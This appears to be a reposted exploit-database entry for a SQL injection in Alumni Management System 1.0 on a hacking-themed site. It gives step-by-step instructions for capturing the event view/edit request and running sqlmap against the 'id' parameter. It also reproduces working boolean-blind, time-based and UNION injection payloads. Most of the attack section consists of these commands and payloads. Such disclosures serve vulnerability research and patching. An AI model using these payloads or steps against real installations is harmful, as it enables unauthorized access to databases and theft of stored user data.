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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Alumni Management System 1.0 - 'id' SQL Injection
# Exploit Author: Aakash Madaan
# Date: 2020-12-17
# Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14524&title=Alumni+Management+System+using+PHP%2FMySQL+with+Source+Code
# Affected Version: Version 1
# Tested on: Parrot OS

Step 1. Login to the application with admin credentials

Step 2. Click on "Events" page.

Step 3. Choose any event and select "view" or "edit". The url should be "
http://localhost/index.php?page=view_event&id=2" or "
http://localhost/admin/index.php?page=manage_event&id=1"

Step 4. Capture the request to the "view" or "edit" event page in burpsuite.

Step 5. Save the captured request and run sqlmap on it using "sqlmap -r
request --time-sec=5 --dbs

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: page=edit_student&id=(SELECT (CASE WHEN (6191=6191) THEN 3
ELSE (SELECT 5620 UNION SELECT 3605) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=edit_student&id=3 AND (SELECT 7847 FROM
(SELECT(SLEEP(5)))LQiE)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: page=edit_student&id=-4840 UNION ALL SELECT
NULL,CONCAT(0x717a7a7171,0x7152494c444964626e63466c66734573495771697a566862414e6c6f786e6d54566c6549484f6967,0x71767a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
-
---

Step 6. Sqlmap should inject the web-app successfully which leads to
information disclosure